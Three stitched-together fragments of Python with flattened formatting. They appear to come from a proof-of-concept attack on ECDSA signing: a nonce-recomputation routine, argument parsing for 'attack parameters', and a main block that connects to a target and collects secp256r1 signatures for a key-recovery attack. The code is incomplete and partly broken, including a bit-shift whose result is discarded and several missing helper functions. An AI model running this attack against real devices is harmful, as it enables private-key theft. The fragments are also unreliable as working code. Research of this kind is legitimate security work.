def recompute_nonces(data, curve_name, hash_algo): try: curve = ec.get_curve(curve_name) except: curve = ec.load_curve(curve_name) verified = False for elem in data: if elem["nonce"] is not None: continue if elem["index"] % (len(data) // 10) == 0: print(".", end="") if hash_algo is None: hm = int.from_bytes(elem["data"], byteorder="big") % curve.group.n else: h = hashlib.new(hash_algo, elem["data"]) hm = int(h.hexdigest(), 16) if h.digest_size * 8 > curve.group.n.bit_length(): hm >> h.digest_size * 8 - curve.group.n.bit_length() hm = hm % curve.group.n r, s = Sequence.load(elem["signature"]).native.values() r = ec.Mod(r, curve.group.n) s = ec.Mod(s, curve.group.n) rx = r * elem["priv"] hmrx = hm + rx nonce = s.inverse() * hmrx if not verified: res = int(nonce) * curve.g if int(res.x) % curve.group.n != int(r): print("Nonce recomputation couldnt verify!") raise ValueError else: print("Nonce recomputation works") verified = True elem["nonce"] = int(nonce)
parser = argparse.ArgumentParser() parser.add_argument("curve", help="What curve was used.") parser.add_argument("hash", help="What hash algorithm was used.") parser.add_argument("sigfile", help="CSV signature output file name.") parser.add_argument( "-p", "--params", help="A JSON file specifying attack parameters.", dest="params", type=parse_params, default=DEFAULT_PARAMS, ) args = parser.parse_args() curve = get_curve(args.curve) if curve is None: print("[x] No curve found:", args.curve) exit(1) try: hash = hashlib.new(args.hash) except ValueError: print("[x] No hash algorithm found:", args.hash) exit(1) print("[*] Using parameters:") pprint(args.params) print("[ ] Loading signatures.") with open(args.sigfile) as sigfile: fline = sigfile.readline()[:-1].split(" ")
with open(fname) as f: return json.load(f) if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-p", "--params", help="A JSON file specifying attack parameters.", dest="params", type=parse_params, default=DEFAULT_PARAMS) args = parser.parse_args() curve = get_curve("secp256r1") hash = hashlib.new("sha256") print("[*] Using parameters:") pprint(args.params) print("[*] Attack type is ignored, this PoC performs a fixed attack, " "using all collected signatures as they are being collected.") connection = connect() if connection is None: exit(1) raw, pub, data = prepare(connection) pubkey = curve.decode_point(raw) output = lambda i, elapsed, resp: signature_queue.put((elapsed, resp)) finish = lambda i: solution_found.is_set()